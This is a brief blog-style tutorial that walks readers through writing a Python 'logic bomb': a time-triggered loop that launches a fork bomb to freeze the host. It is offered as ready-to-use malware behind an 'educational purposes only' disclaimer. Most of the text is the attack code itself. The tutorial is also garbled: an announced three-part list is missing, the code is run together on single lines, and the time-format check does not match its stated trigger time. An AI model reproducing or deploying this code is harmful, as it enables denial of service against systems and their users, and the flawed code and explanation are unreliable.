Hello, in this tutorial I will show you how to build a simple logic bomb in Python. NOTE: This is for educational purposes only.
First things first let’s understand what a logic bomb is. According to Wikipedia; A logic bomb is a piece of code intentionally inserted into a software system that will set off a malicious function when specified conditions are met.
A computer virus/malware basically has 3 parts:
Our logic bomb:
Our logic bomb is pretty simple,here is an overview of our code:
- Infection mechanism : our bomb is a simple script that only works when the script is executed.
- Trigger : The Trigger is simple, it’s a loop that checks when a time we set is the same as the system time, then and only then will the payload be deployed.
- Payload : our payload is a fork bomb.
We only require Python’s time and os modules:
import os import time
Next let’s write our payload:
def bomb(max): i = 0 while i != max: os.fork() i+=1
Our payload accepts an argument max an integer which determines how long the loop runs.
The final step; we write the execution/trigger logic:
while 1: if "01:30:PM" == time.strftime("%H:%M:%p"): bomb(50) break
The code above simply checks for when our time “01:30:PM” matches with the system time time.strftime(“%H:%M%p”).
Putting it together:
import os import time def bomb(max): i = 0 while i != max: os.fork() i+=1 while 1: if "01:30:PM" == time.strftime("%H:%M:%p"): bomb(50) break
Use these code wisely, it causes the target system to freeze up until it’s done executing. That concludes our build a logic bomb in Python.
Please do share with your friends and colleagues 😊😊.